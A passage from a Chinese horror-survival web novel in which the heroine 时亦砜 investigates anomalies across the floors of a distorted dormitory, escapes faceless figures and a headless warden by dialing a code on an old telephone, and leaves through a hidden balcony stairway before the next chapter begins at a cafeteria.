时亦砜的脚步声在向上的楼梯间里形成了某种诡异的节拍——一步，停顿半秒，再一步。这种刻意的节奏是她强迫自己保持冷静的方式。每一次停顿，她的感官就向四周辐射一圈，捕捉着这个扭曲空间里最细微的变化。


    三楼平台，到了。


    她停在最后一级台阶上，没有立刻踏入走廊。手机的光束像手术刀一样切开了面前的黑暗，照亮了平台墙面上那个消防栓箱。


    玻璃门完好无损，甚至反射着过于洁净的光芒。


    时亦砜的记忆清晰得如同镌刻：二十五分钟前她第一次经过这里时，这扇玻璃门是碎裂的。不是普通的破损，而是呈放射状裂纹，中心点有一个明显的撞击痕迹，像是被某种钝器狠狠砸过。


    现在它完美如新。


    她靠近两步，光束聚焦在玻璃与金属框的接缝处。没有胶水的痕迹，没有更换的迹象，仿佛这扇门从一开始就是完好的。


    但这还不是最诡异的。


    时亦砜的目光下移，落在消防栓箱下方的墙面上。那里有一片大约三十厘米见方的区域，颜色比周围的墙面浅了一个色号——不是污渍，而是像被什么东西长期遮挡，不久前才被移开形成的色差。


    她蹲下身，指尖轻触那片区域。墙面涂料带着细微的颗粒感，温度与周围一致。但她的鼻子捕捉到了一丝极其微弱的气味：淡淡的铁锈味混着……油墨？


    像很久以前贴在这里的某张海报被撕掉后残留的气息。


    时亦砜站起身，转向走廊入口。三楼的光线结构明显与四楼不同——不是亮度的差异，而是光源的角度。四楼的光来自走廊尽头的窗户，是自然光。但这里，光线似乎来自……头顶的日光灯？


    她抬头。


    两排日光灯静静地悬挂着，灯罩完好，但所有灯管都是暗的。


    没有光源，那么这昏黄的光线从何而来？


    时亦砜踏入走廊。脚下的触感立刻反馈了异常——瓷砖的裂纹不再是随机的蛛网状，而是呈现出完美的同心圆，以走廊中段某一点为中心向外辐射。她蹲下身，用指尖测量裂纹的宽度：最内圈大约两毫米，向外逐渐递减，到墙边时几乎看不见。


    这需要多大的力量？多精确的落点？


    她的目光沿着裂纹的轨迹向前延伸，最终停在了306寝室的门前。那扇门看上去与其他门无异，暗黄色的漆面，蓝底白字的门牌。但门把手上挂着一件东西：一个褪色的、布料制成的晴天娃娃。


    娃娃的脸是用黑色记号笔画的简笔表情——两个点代表眼睛，一条弯线代表嘴。但那条弯线画得过于向上，形成了一个近乎癫狂的笑容。


    时亦砜缓缓靠近。距离三米时，她停下了。


    门缝下有影子在晃动。


    不是人影，而是……水波折射光形成的光影。像是有水在门内流动，光线穿过水面，在天花板上投下摇曳的波纹。


    306寝室里怎么会有这么多水？


    她记得这间寝室——大二时她来送过材料，里面住着生物工程专业的两个女生，房间里堆满了专业书籍和实验报告，干燥整洁。


    现在里面在淹水？


    时亦砜后退半步，从书包侧袋里取出一卷鱼线——第六日留下的道具之一，标注着“可探测不可见边界”。她将鱼线一端系在自己的小指上，另一端系上一小块橡皮，然后在距离地面十厘米的高度，将橡皮轻轻滚向306的门缝。


    橡皮滚到门前约半米处，突然悬空了。


    不是掉下去，而是停在半空，仿佛撞上了一堵看不见的墙。鱼线传来轻微的拉力，显示橡皮正被某种力量托举着。


    时亦砜轻轻拉动鱼线，橡皮应力而回。她检查橡皮表面——干燥的。没有接触到水。


    所以水影是幻象？还是说，水在门内，但被某种屏障隔绝了？


    她将橡皮换了个高度，离地五十厘米再次滚出。


    这次，橡皮顺利滚到了门前，甚至轻轻撞到了门板。


    也就是说，那道“看不见的墙”只在低处存在。


    时亦砜收起鱼线，大脑飞速处理信息。低处的屏障，高处的水影，这意味着什么？门内的水可能已经积得很高，几乎要漫过门框，但被某种力量封住了。而水面的反光从门缝上方透出来，形成了天花板上的波纹。


    如果门突然打开……


    她没有继续想下去，而是将目光转向走廊的其他部分。除了306，其他寝室的门缝下都是干燥的，没有光，没有声音，一片死寂。


    但当她走到走廊中段——那个裂纹圆心正上方的位置时，她听到了声音。


    极其轻微，像是从很深的地底传来：


    滴答。


    滴答。


    滴答。


    规律得如同钟表秒针的走动。


    时亦砜单膝跪地，将耳朵贴近地面裂纹的中心点。


    声音更清晰了。确实是滴水声，但每次滴落的间隔精确到毫秒级，完全不像是自然漏水。


    她用手敲击那块瓷砖。


    空洞的回响。


    下面是空的。


    时亦砜站起身，看了一眼面板上的倒计时：【剩余时间：48分31秒】


    她没有时间挖掘真相。三楼的异常已经记录在案：可自我修复的消防栓玻璃、神秘的色差区域、同心圆裂纹、306室的“水牢”、地下的机械滴水声。


    这些是“不同”吗？可能是，但感觉还不够“关键”。它们更像是这个空间在试图模拟正常但频频出错留下的痕迹，而非那个决定性的、唯一的异常。


    她转身返回楼梯间。


    在上楼的途中，她刻意数了台阶数。四楼到三楼是13级，没错。但当她从三楼继续向上时，她发现台阶数变了。


    不是13级，而是14级。


    多出来的那一级台阶，位于第7级和第8级之间。它的高度比其他台阶矮约三分之一，宽度也窄一些，像是后来硬塞进去的。而且这级台阶的材质也不同——不是大理石，而是木质，刷着暗红色的漆，已经斑驳不堪。


    时亦砜在那级木台阶前停下。


    她用手机光照亮台阶表面。木质纹理清晰，边缘有磨损的痕迹，说明经常被踩踏。但谁会在一栋完全大理石楼梯的建筑里，插入一级木台阶？


    她小心地踩上去。


    脚下传来轻微的“嘎吱”声，像是老旧地板在承重。


    什么事都没发生。


    她继续向上，到达了五楼平台。


    光线在这里发生了质变。不是暗，而是滤色——整个空间都笼罩在一种病态的、偏青绿色的光线中，像是透过劣质滤光片看到的景象。空气温度骤降了至少五度，那股消毒水的气味浓烈到几乎具象化，像冰冷的雾气缠绕在呼吸间。


    时亦砜注意到自己的呼吸在空气中形成了白雾——现在明明是九月。


    她踏入走廊。


    地面的“完美”让她立刻警觉。瓷砖不仅完好无损，而且反光。像是刚打过蜡，能清晰映出天花板上日光灯的倒影——那些灯居然亮着，发出青白色的冷光。


    她蹲下身，用手指抹过瓷砖表面。指尖传来油腻的触感，凑近闻，是某种化学蜡剂的味道，混着淡淡的苯酚气息。


    这层楼被打扫过。不，是消毒清洁过。


    她站起身，目光扫过两侧的门。纯白色的门，没有门牌。


    等等，不对。


    不是没有门牌，而是门牌被涂白了。她走近501的门，仔细查看门楣位置——那里确实有一块长方形的凸起，但被厚厚的白色涂料覆盖，与门板融为一体。


    为什么要掩盖门牌号？


    时亦砜从口袋里掏出那把小折叠刀，用刀尖轻轻刮擦那块凸起。


    白色的涂料碎屑落下，露出底下蓝色的底色，以及一个数字的轮廓：5


    她继续刮擦，完整的门牌显露出来：【515】


    不是501。这扇门对应的位置应该是501，但它实际上是515宿舍的门。


    整层楼的门牌都被打乱了。


    时亦砜快速查看了相邻的几扇门：她以为的502，实际上是509；503是526；504是503……


    毫无规律的数字跳跃，像是有人把整层楼的门牌全部拆下，随机重新安装。


    她走到走廊中段，看向窗户。窗外灰雾翻滚，但当她靠近时，她注意到玻璃上凝结着细密的水珠——不是雾气的凝结，而是从室内向室外凝结。这说明室内的湿度比室外低，温度比室外低，与常理完全相反。


    窗台上那个透明的文件袋还在。


    时亦砜没有立刻去拿，而是先检查了窗台表面。一层薄薄的灰尘，但文件袋下方有一个清晰的长方形印记——比文件袋本身大一圈，像是之前有更大的东西放在这里，不久前才被移走。


    她这才拿起文件袋。和之前看到的一样，里面是那张实验室安全守则。但这一次，她注意到了纸张边缘的细节：纸张的右下角有一个微小的、蓝色的印章痕迹，只有米粒大小，仔细辨认可以看出是一个字母：【R】


    以及一个数字：【3】


    R3？实验室编号？还是某种分级？


    她将文件袋翻过来。背面，靠近封口的位置，有一行几乎看不见的铅笔字迹：


    “不要相信五点钟方向的监控”


    字迹极淡，像是写完后有人试图擦掉但未完全清除。


    时亦砜立刻抬头看向走廊。五点钟方向——从她面向窗户的位置计算，是走廊的另一端，靠近楼梯间的方向。


    那里的天花板上，确实有一个监控摄像头。


    普通的半球形摄像头，红色指示灯亮着，表示正在工作。


    但诡异的是，摄像头的镜头指向……正下方，对准了它自己下方的地面，而不是应该监控的走廊。


    时亦砜缓慢地向那个方向移动，目光始终锁定摄像头。


    十米，五米，三米——


    她停在了摄像头正下方。


    抬头看，摄像头距离她头顶约三米。指示灯稳定地亮着红光。


    她低头看向地面。


    摄像头正对着的地面上，有一块瓷砖的颜色与周围略有不同——不是明显的色差，而是在青绿色的灯光下，那块瓷砖反射的光泽度稍低一些，显得略暗。


    时亦砜蹲下身，用手触摸那块瓷砖。


    温度明显更低，像一块冰。


    她用手指叩击。


    实心的，没有空洞。


    但当她将手掌完全贴上去时，她感觉到了一种极其微弱的……震动。


    不是机械振动，更像是某种低频的声波传导，通过固体传递到她的掌心。很有规律，大约每秒一次。


    砰……砰……砰……


    像心跳。


    时亦砜迅速收回手。她再次抬头看向那个摄像头——镜头依然对着正下方，但指示灯的红光闪烁了一下。


    从常亮变成了有节奏的闪烁：三次短闪，一次长闪。


    摩斯密码？


    她努力回忆摩斯密码表：三短一长是……V？


    字母V？还是罗马数字5？或者只是故障？


    她没有时间破译。但直觉告诉她，这个摄像头和它正下方的这块瓷砖，是五楼的关键。


    她站起身，决定暂时不触碰。如果这是某种触发机制，她需要更谨慎。


    就在她准备离开时，眼角余光瞥见了走廊另一端——靠近实验室文件袋提到的窗户那边，出现了一个影子。


    穿着白大褂，低着头，手里拿着笔记本。


    和上次看到的一样。


    但这一次，影子没有静止。


    它正在缓缓转过身来。


    时亦砜立刻后退，躲进了最近的一扇门——515（伪装成501的那间）的门边凹陷处，利用门框和墙壁形成的视觉死角。


    她屏住呼吸，侧耳倾听。


    脚步声。


    很轻，但清晰。皮鞋踩在打过蜡的瓷砖上，发出特有的、带点黏着的声响。


    啪嗒，啪嗒，啪嗒……


    节奏均匀，速度不快，正在朝她的方向走来。


    时亦砜的手摸向了折叠刀。刀身在低温空气中显得格外冰冷。


    脚步声越来越近。


    她能闻到那股消毒水味变得浓郁，几乎盖过了化学蜡剂的气息。


    然后，脚步声停了。


    停在了她藏身的这扇门外，大约两米的位置。


    时亦砜能感觉到那个东西就站在那里。她没有探头去看，只是将身体紧紧贴在墙壁上，尽量减少暴露的可能。


    时间一秒一秒地流逝。


    十秒，二十秒，三十秒……


    那个东西没有移动。


    它在等什么？


    时亦砜突然意识到：它可能在等她先动。像捕食者等待猎物暴露位置。


    她闭上眼睛，开始控制自己的呼吸。将呼吸频率降到最低，几乎进入冥想状态。这是她小时候在一次次躲藏中学会的技能——当你无法逃离时，就让自己“消失”，不是物理上的，而是存在感上的消失。


    六十秒。


    九十秒。


    两分钟。


    脚步声再次响起。


    但这一次，是远离。


    啪嗒，啪嗒，啪嗒……逐渐远去，最终消失在走廊另一端。


    时亦砜又等待了整整一分钟，才缓缓从藏身处探出头。


    走廊空无一人。


    白大褂消失了。


    她快步走向楼梯间，在下楼前最后看了一眼五楼：青绿色的光线，完美的瓷砖，混乱的门牌，还有那个指向地面的监控摄像头。


    这一切都被她归档为“五楼异常集”。


    下楼时，她刻意避开了那级多出来的木台阶，直接从第7级跳到第8级。落地时发出了稍大的声响，在楼梯间里回荡。


    她没有停留，继续向下。


    二楼。


    光线在这里呈现出一种疲惫的橙黄色，像是旧式钠灯发出的光。空气浑浊，能见度明显下降，像是有一层极细的灰尘悬浮在空中。


    地面瓷砖的裂缝已经大到形成沟壑。时亦砜小心地跨过一条足有十厘米宽的裂缝，看到裂缝深处是黑暗的，不知有多深。


    她注意到裂缝的边缘有烧灼的痕迹——不是火焰烧过的焦黑，而是某种高温瞬间作用形成的玻璃化表面，在昏暗光线下反射着诡异的油光。


    这里发生过什么？


    她继续深入走廊。门牌的混乱程度比五楼更甚——不仅数字错乱，有些门牌甚至是倒置的或镜像的。比如208的门牌被挂成了802，而且数字是反的；213的门牌则整个上下颠倒。


    门颜色的混乱也更加极端。时亦砜看到一扇门被涂成了荧光粉色，在昏黄光线中发出不协调的刺目光芒；隔壁的门则是纯黑色，吸收了所有光线，几乎与背景融为一体。


    她走向202的位置——那扇浅蓝色的门还在，门把手上系着红绳。


    但这一次，红绳已经完全是漆黑的了。不是染料浸染的黑，而是像被火焰燎过的那种碳化黑，纤维结构都清晰可见，仿佛轻轻一碰就会碎裂成灰。


    时亦砜在距离门三米处停下。


    她观察门缝。


    没有光透出。但门缝下的灰尘分布异常——靠近门缝的位置几乎没有灰尘，像是最近有气流从门内吹出，将灰尘推开了。


    门后有风？


    她缓缓蹲下，从地上捡起一小撮灰尘，轻轻撒向门缝。


    灰尘在距离门缝约五厘米处，突然向两侧分开，像是撞上了一道无形的风墙。


    真的有气流从门内向外涌出。


    时亦砜站起身，后退两步。她开始观察这扇门的整体状态：门框与墙壁的接缝处，有极细微的振动。不是刚才那种心跳般的震动，而是更高频的、几乎肉眼不可见的颤动，像是门后有什么东西在持续产生低频振动。


    她想起刚才在地下室听到的、电话里的齿轮声。


    某种机械装置？


    就在这时，门内传来了声音。


    不是“咚”的闷响，而是……说话声。


    很模糊，像是隔着厚厚的墙壁，又像是从水下传来的。


    “……出不去了……”


    一个女声，带着哭腔。


    “……门打不开……”


    另一个声音，更年轻一些，充满了恐惧。


    “……它在外面……”


    第三个声音，沙哑，几乎是在耳语。


    时亦砜全身的寒毛都竖了起来。这些声音听起来太真实了，真实得像是真的有几个女孩被困在门内，正在绝望地低语。


    她甚至能分辨出她们话语中的情绪：第一个声音是绝望的认命，第二个是恐惧的颤抖，第三个是濒临崩溃的压抑。


    “我们要死了吗？”那个年轻的声音问。


    没有人回答。


    只有压抑的、断断续续的抽泣声。


    时亦砜的手握成了拳。理智告诉她这是陷阱，是引诱，是“舍友”用来干扰她的手段。但那些声音中的人性太真实了，真实到让她无法完全置之不理。


    她做了个深呼吸，强迫自己冷静。


    然后，她对着门板，用平稳的声音说：“你们是谁？”


    门内的声音骤然停止。


    死寂。


    整整十秒钟，没有任何声音。


    然后，那个沙哑的声音再次响起，这一次清晰了许多，像是说话者将嘴贴在了门板上：


    “……时亦砜？”


    它知道她的名字。


    时亦砜的后背瞬间被冷汗浸透。她从未告诉过任何人她的名字，在这个空间里，她应该是匿名的。


    “你怎么知道我的名字？”她问，声音依然平稳，但握着刀的手已经收紧。


    门内传来低低的笑声，不是一个人的，是好几个声音重叠在一起的笑，干涩而诡异。


    “……我们都认识你……”


    “……我们都等你很久了……”


    “……进来吧……时亦砜……进来陪我们……”


    门把手开始转动。


    不是试探性的转动，而是剧烈的、用力的转动，像是门内的人正在疯狂地试图拧开门锁。


    咔嚓！咔嚓！咔嚓！


    锁舌撞击的声音在寂静的走廊里炸开。


    时亦砜迅速后退，但她的目光依然锁定着门把手上的那根黑绳。


    在门把手剧烈转动的过程中，黑绳开始崩解。


    不是断裂，而是像沙雕一样，从最细的纤维开始，一点点化为黑色的粉末，簌簌落下。几秒钟内，整根绳子就完全消失了，只在门把手上留下了一圈黑色的污迹。


    而门把手的转动也在这时突然停止。


    门内再次陷入死寂。


    但时亦砜能感觉到，那种被注视的感觉比之前强烈了十倍。不是一道目光，而是无数道，从门板的每一个分子中透出来，死死地锁定了她。


    她开始缓慢后退，每一步都极其小心，避免发出声音。


    退到五米外时，门板上突然出现了变化。


    浅蓝色的漆面开始褪色，从底部向上，颜色迅速变淡，像是被无形的漂白剂清洗。几秒钟内，整扇门就变成了苍白的、毫无生气的灰白色。


    然后，门板上浮现出了字迹。


    不是写上去的，而是像水印一样从漆面深处透出来，是暗红色的，像是干涸的血迹：


    【她们都死了】


    【三年前就死了】


    【你现在听到的，只是录音】


    字迹停留了大约五秒，然后开始扭曲、溶解，最终消失。门板恢复了灰白色，但那种被注视的感觉也随之消散了。


    时亦砜站在原地，消化着这些信息。


    三年前？死亡？录音？


    如果门后的声音是录音，那么是谁在播放？为什么要播放给她听？


    她转身离开，不再回头。二楼的信息量已经足够：烧灼的裂缝、颜色的极端混乱、红绳的碳化与崩解、门后的“录音”陷阱、以及那段关于三年前死亡的信息。


    回到楼梯间时，她看了一眼倒计时：【剩余时间：41分08秒】


    还剩不到四十分钟。


    她继续向下，再次来到一楼。


    这一次，她没有直接走向大门，而是先观察了大门周围的环境。


    那个“同学”还站在门外，保持着之前扑在玻璃门上的姿势，脸贴着玻璃，眼睛瞪大，口水不断从嘴角滴落。但她现在一动不动，像是被按下了暂停键的玩偶。


    时亦砜靠近玻璃门，仔细查看门内侧那张A4纸。


    纸张依然是崭新的，上面的字迹清晰。但她这次注意到，纸张的四个角不是用透明胶带固定的，而是用图钉钉在门上。


    四枚银色的图钉，在昏暗光线下反射着冷光。


    这很奇怪。如果这张纸是刚刚贴上去的，为什么要用图钉？如果是一直在这里，为什么纸张如此崭新？


    她凑近观察图钉与纸张的接触点。纸张被图钉穿透的位置，有极细微的纤维翘起，说明图钉是最近才钉上去的，纸张还没有适应这种固定方式。


    她伸出手，轻轻触碰纸张的边缘。


    指尖传来微弱的静电刺痛感。


    这张纸带电。


    不是高压电，而是类似冬天干燥环境下摩擦产生的静电，但更持久，更稳定。


    时亦砜收回手，思考着静电的来源。纸张本身？还是图钉？或者是门板？


    她的目光移向门把手。刚才她没有仔细看，现在才发现，门把手是黄铜材质的，但在手经常握持的位置，镀层已经磨损，露出了底下暗红色的铜质。


    黄铜……静电……


    一个猜想在她脑海中形成。


    她从书包里拿出一支普通的圆珠笔，用笔尖轻轻触碰门把手。


    轻微的“啪”声，笔尖和门把手之间跳起了一小簇蓝色的电火花。


    果然，整个门都带电。或者说，整个出口区域都处于一个微弱的静电场中。


    这有什么意义？警告？防护？还是某种识别机制？


    时亦砜后退几步，开始检查一楼走廊的其他部分。管理员室的门紧闭着，但门缝下透出了光——不是电灯光，而是一种摇曳的、暖黄色的光，像是烛光。


    她走近管理员室，将耳朵贴在门上。


    里面传来了声音：翻书页的声音，很慢，很规律，大约每五秒翻一页。


    还有，哼歌声。


    一个苍老的、断断续续的调子，不成旋律，只是几个音符的重复。


    时亦砜轻轻敲了敲门。


    翻书声和哼歌声同时停止。


    死寂。


    她等待了十秒，再次敲门。


    这次，里面传来了一个苍老的女声，带着浓重的本地口音：


    “谁啊？这么晚了还来敲门？”


    时亦砜没有回答。她知道这不是真正的宿管阿姨——真正的宿管阿姨王阿姨上周请假回老家了，现在值班的是个临时工，而且是个年轻男性。


    里面的声音等不到回应，又说道：“是不是没带钥匙？报一下宿舍号，我查查登记。”


    时亦砜依然沉默。


    “不说话我开门了啊？”声音里带上了不耐烦。


    然后，门锁转动的声音响起。


    时亦砜迅速后退，躲到了走廊对面的墙边凹陷处。


    管理员室的门打开了一条缝。


    一只苍老的、布满皱纹的手伸了出来，手里举着一盏老式的煤油灯。玻璃灯罩里，火苗跳动，投下摇晃的光影。


    “人呢？”那个声音问。


    门开得更大了些，一个身影走了出来。


    时亦砜屏住呼吸。


    那确实是宿管阿姨的制服，但穿着它的人……没有头。


    不是被砍掉的那种，而是脖颈以上是一片空白，仿佛这个人从一开始就没有头部。煤油灯被一只凭空伸出的手举着，悬浮在制服领口上方约三十厘米的位置。


    无头人举着灯，左右晃了晃，像是在寻找敲门的人。


    时亦砜紧紧贴着墙壁，将自己完全隐藏在阴影里。


    无头人寻找了大约一分钟，然后发出了一声像是叹息的声音——虽然她没有嘴，但声音确实从她身体里发出：


    “又是恶作剧……现在的学生啊……”


    她转身走回管理员室，关上了门。


    煤油灯的光从门缝下透出，再次开始了有规律的摇曳——她又坐回去看书了。


    时亦砜缓缓呼出一口气。一楼的异常：带电的出口、无头的管理员、以及门外那个被“暂停”的同学。


    她转身，这一次，她走向了楼梯间下方的地下室入口。


    沉重的铁门依然虚掩着。她推开一条缝，手机光照进去。


    和她离开时一样，一切井井有条，工具排列整齐，那台老式电话还在原地。


    但她注意到了一个新的细节：电话旁边的地上，多了一个东西。


    一个烟蒂。


    很普通的香烟过滤嘴，橘黄色的部分，上面有牙齿咬过的痕迹。烟蒂还很新鲜，过滤嘴部分的纸张没有完全受潮变形。


    有人在这里抽过烟，而且是不久前。


    时亦砜走进地下室，关上门。她蹲下身，用手机光照亮那个烟蒂。


    品牌是“红塔山”，很常见的廉价烟。过滤嘴上有一圈浅浅的牙印，说明抽烟的人习惯用门牙咬烟。


    她将烟蒂捡起来，用一张纸巾包好，放进书包——这可能是一条线索，关于这个空间里是否还有其他“活人”的线索。


    然后，她走向那台电话。


    这一次，她没有直接拨打，而是先检查了电话本身。


    黑色的机身，老式的旋转拨号盘，听筒沉重。她拿起听筒，放在耳边。


    忙音：嘟——嘟——嘟——


    和她第一次听到的一样。


    但这次，她在忙音的间隙，听到了极其微弱的其他声音。


    像是……很多人在低声说话，隔着很远，模糊不清。


    她将听筒贴得更紧，努力分辨。


    “……实验数据……异常……”


    “……样本编号7……失控……”


    “……必须销毁……立刻……”


    断断续续的词语，来自不同的声音，男女都有，语气急促，充满焦虑。


    像是在进行某种紧急通讯。


    时亦砜看了一眼拨号盘。除了0到9的数字，还有一个特殊的符号：?


    星号键。


    在老式电话上，星号键通常用于特殊功能或转接。


    她犹豫了一下，然后转动拨号盘，拨打了?。


    听筒里的忙音突然停止。


    取而代之的，是一个冰冷的、机械的男声：


    【请输入三级以上权限密码。】


    时亦砜愣住了。密码？她怎么可能知道？


    她尝试挂断，但听筒像是黏在了她手上，无法放回。


    【请在三秒内输入密码，否则将启动安全协议。】


    机械声开始倒计时：


    【三】


    【二】


    时亦砜的大脑飞速运转。密码？什么密码？这个空间里有什么数字可能是密码？


    她想起了五楼文件袋上的那个印章：R3。


    R3会不会是某种代号？


    但她没有R3的按键，只有数字。


    她尝试拨打了73——R是第18个字母，3是数字，但73没有反应。


    【一】


    倒计时结束。


    听筒里传来了尖锐的警报声，同时，地下室的所有灯光开始疯狂闪烁。


    那些排列整齐的工具开始震动，发出金属碰撞的叮当声。远处堆放的旧桌椅开始摇晃，像是随时会倒塌。


    时亦砜用力扯动听筒，这次它松动了。她将听筒扔回电话机，转身就跑。


    但已经晚了。


    地下室的铁门自动关闭，并传来了上锁的机械声。


    她被关在了里面。


    警报声越来越响，闪烁的灯光让整个空间变成了一个疯狂跳动的噩梦。时亦砜冲向铁门，用力推拉——纹丝不动。


    她转身背靠铁门，目光扫视整个地下室，寻找可能的出口或武器。


    工具墙上的锤子在震动中掉落，砸在地上发出巨响。接着是扳手，螺丝刀……


    然后，她看到了他们。


    从那些整齐堆放的旧桌椅后面，从那些成捆的书籍缝隙中，无面人开始出现。


    不是一两个，而是十几个，二十几个。


    他们穿着不同年代的学生制服，有的甚至穿着她从未见过的、样式更古老的校服。所有人都没有脸，但所有的“脸”都朝向她的方向。


    他们开始围拢。


    缓慢，但毫无犹豫。


    时亦砜的手摸向了折叠刀，但面对这样的数量，一把小刀有什么用？


    她的目光落在了那台电话上。


    如果拨错会启动安全协议，那么拨对呢？正确的密码是什么？


    她的大脑疯狂检索着进入这个空间后得到的所有数字信息：


    四楼到三楼的台阶数：13


    三楼到四楼的台阶数：14（多了一级木台阶）


    五楼文件袋上的印章：R3


    二楼门牌上的混乱数字：208变成802，213颠倒……


    草莓钥匙上的数字：0


    倒计时开始的数字：60分钟


    现在剩余的时间：38分47秒


    等等。


    倒计时。


    规则说“剩余完成时间倒计时：一小时”。


    但她从醒来开始，到接任务，收拾东西，探索各层……时间已经过去了二十多分钟。


    也就是说，这个一小时的倒计时，是从她醒来就开始计算的，而不是从她接任务开始。


    那么，“一小时”这个数字本身，是否有什么特殊含义？


    她冲回电话旁，在无面人围上来之前，抓住了听筒。


    警报声和闪烁的灯光让她几乎无法思考，但她强迫自己冷静。


    一小时=60分钟。


    她转动拨号盘，拨打了60。


    【密码错误。剩余尝试次数：2】


    冰冷的机械音。


    两次机会。


    时亦砜的额头渗出了冷汗。无面人已经距离她不到五米了，她能闻到他们身上那股陈旧的灰尘味。


    另一个数字：她醒来时是七点十分。


    她拨打了710。


    【密码错误。剩余尝试次数：1】


    最后一次机会。


    无面人已经近在咫尺。最近的一个伸出手，苍白的手指离她的肩膀只有十厘米。


    时亦砜闭上眼睛，脑海中闪过那颗草莓钥匙上的数字。


    0。


    她拨打了0。


    【密码验证中……】


    【验证通过。】


    【权限等级：最高】


    【欢迎您，管理员。】


    警报声骤然停止。闪烁的灯光恢复常亮。所有无面人同时僵在原地，然后开始后退，退回他们出现的地方，消失在杂物堆后。


    地下室的铁门自动打开。


    听筒里传来了新的声音，不再是机械音，而是一个温和的、年轻的女声：


    “时亦砜同学，你已经通过了初步测试。”


    “现在请前往真正的出口：四楼阳台。”


    “带上钥匙。你会需要的。”


    通话切断。


    时亦砜放下听筒，大口喘息。她的后背已经完全被冷汗浸湿。


    她看了一眼面板：【剩余时间：36分14秒】


    刚才的警报和围困，又消耗了两分多钟。


    她冲出地下室，再次上楼。这一次，她的目标明确：四楼阳台。


    但她没有直接去，而是先回到了四楼自己的宿舍。


    404的门虚掩着。她推门进去，房间里和她离开时一样，只是书桌上多了一样东西。


    那根黑色皮筋。


    它好好地放在桌面上，卷成整齐的一圈。


    时亦砜走过去，拿起皮筋。普通的橡胶材质，有些弹性疲劳，像是已经用了一段时间。


    她将它戴回左手腕。


    然后，她打开了书柜的锁——她离开时明明锁上的，但现在锁是开着的。


    书柜里，除了她的书和杂物，多了一个小木盒。


    胡桃木材质，巴掌大小，没有锁，只有一个简单的搭扣。


    她打开木盒。


    里面是一张泛黄的老照片，和一把银色的小钥匙。


    照片上是一群女生的合影，背景就是这个宿舍楼前。每个人都笑得很灿烂。照片右下角用钢笔写着日期：2018.9.15，以及一行小字：生物医学研究小组留念。


    时亦砜的目光锁定在照片中的一个女生脸上。


    那个女生有着和她极其相似的轮廓，尤其是那双灰色的眼睛。但年龄看起来更大一些，应该是研究生或年轻研究员。


    照片背面写着所有女生的名字。那个像她的女生，名字是：林晓。


    和她在阳台捡到的学生证上的名字一样。


    时亦砜的手指微微颤抖。林晓……三年前死亡的那些女生之一？


    她将照片和钥匙收好，离开宿舍，走向走廊尽头的阳台。


    这一次，阳台的门是开着的。


    不是虚掩，而是完全敞开，清晨的风吹进来，带着真实的草木气息。


    她走出去。


    阳台上空无一人，但栏杆上放着一件东西：一个老式的、黄铜制的望远镜，固定在三角架上，镜头指向楼下。


    时亦砜走到望远镜前，俯身看去。


    镜头里，是宿舍楼前的景象。但和她刚才在阳台上看到的“完美假象”不同，望远镜里的景象是真实的。


    楼下的水泥地面有裂缝和修补痕迹，杨树的叶子有些发黄，远处食堂的招牌缺了一个字。而且，没有人。整个区域空无一人，一片死寂。


    这才是真实的世界。


    或者说，这个空间里“正常”的部分。


    时亦砜直起身，从口袋里掏出那把从草莓里得到的银色钥匙，以及从木盒里得到的银色小钥匙。


    两把钥匙几乎一模一样，唯一的区别是：草莓钥匙上刻着0，木盒钥匙上刻着∞（无穷大符号）。


    她转身，看向阳台的门框。


    在门框内侧，靠近铰链的位置，有一个极其隐蔽的钥匙孔，被做成了装饰花纹的一部分，不仔细看根本发现不了。


    她尝试将草莓钥匙插入。


    完全吻合。


    转动。


    咔哒。


    阳台的栏杆突然移动了。


    不是整个栏杆移动，而是她面前约一米宽的一段栏杆，向内旋转了九十度，露出了一个缺口。


    缺口外，不是四楼的高空，而是一段向下延伸的金属楼梯，附着在宿舍楼的外墙上，通往楼下。


    这才是真正的出口。


    时亦砜踏上金属楼梯。楼梯很窄，仅容一人通过，锈迹斑斑，但结构稳固。她开始向下爬。


    当她下到三楼的高度时，她听到了声音。


    从三楼某个寝室的窗户里，传来了之前在地下室电话里听到的那种紧急通讯声：


    “……样本失控……重复，样本失控……”


    “……请求立即销毁权限……”


    “……它们突破收容了……”


    时亦砜加快了下楼的速度。


    二楼高度时，她看到了那扇浅蓝色的门——202室的窗户。窗户是开着的，窗帘在风中飘动。透过窗户，她看到房间里积满了暗红色的液体，几乎漫到窗沿。


    那不是水。


    液体表面漂浮着一些东西：书本，衣服，还有……人的头发。


    时亦砜移开视线，继续向下。


    当她终于踩到一楼地面时，她回头看了一眼宿舍楼。


    整栋楼安静地矗立着，在清晨的天光中显得平凡无奇。但时亦砜知道，在那些墙壁之后，隐藏着一个扭曲、危险、充满谜团的世界。


    她转身，走向校园深处。


    面板在她眼前浮现：


    【任务完成】


    【您已成功找到并利用“关键不同”（编号0钥匙）离开四号宿舍楼】


    【奖励结算中……】


    【获得：第三日副本准入权限（已解锁）】


    【获得：线索物品“林晓的照片与钥匙”】


    【获得：生存点数+150】


    【下一副本开启时间：23小时58分后】


    【温馨提示：请妥善保管钥匙。它在后续副本中可能有用。】


    【请做好准备，居民朋友。真正的考验才刚刚开始。】


    时亦砜站在原地，清晨的风吹起她的头发。她抬起手腕，看着那根黑色皮筋。


    然后，她从口袋里掏出那颗已经空了的草莓壳，轻轻捏碎。


    塑料的碎片从指缝间落下。


    一切都是设计好的。从她醒来开始，每一步都在某个存在的计划之中。


    但没关系。


    她会找出真相。关于林晓，关于三年前的死亡，关于这个扭曲的“居民”系统，关于一切。


    她将木盒钥匙收好，迈步走向食堂方向。


    她需要食物，需要休息，需要为下一个“考验”做准备。


    而在她身后，四号宿舍楼的四楼阳台上，一个穿着白大褂的影子静静站立，看着她远去的背影。


    影子抬起手，手腕上，戴着一根一模一样的黑色皮筋。


    # 第三章：食堂的规则


    清晨七点五十二分。


    时亦砜站在通往第三食堂的小径上。她刻意绕开了宿舍区的主干道——那里有太多早起的学生，太多正常得令人怀疑的日常景象。她选择了一条人少的、绕经实验楼后方的小路。


    手机屏幕上显示的时间正稳定跳动，但她不确定这个时间是否可信。在那个扭曲的宿舍楼里，时间已经证明是可被操控的变量。她将手机收起，转而观察自然界的参照物：树影的长度、阳光的角度、远处教学楼窗户反射的光斑。


    一切都指向正常的清晨七点多。


    但这反而让她更加警惕。


    实验楼后方的小路铺着碎石，两旁是半人高的冬青丛。空气中有泥土和青草的气息，偶尔有早起的鸟雀从枝头惊飞。太正常了，正常到刚才在宿舍楼里经历的一切都像是一场荒诞的噩梦。


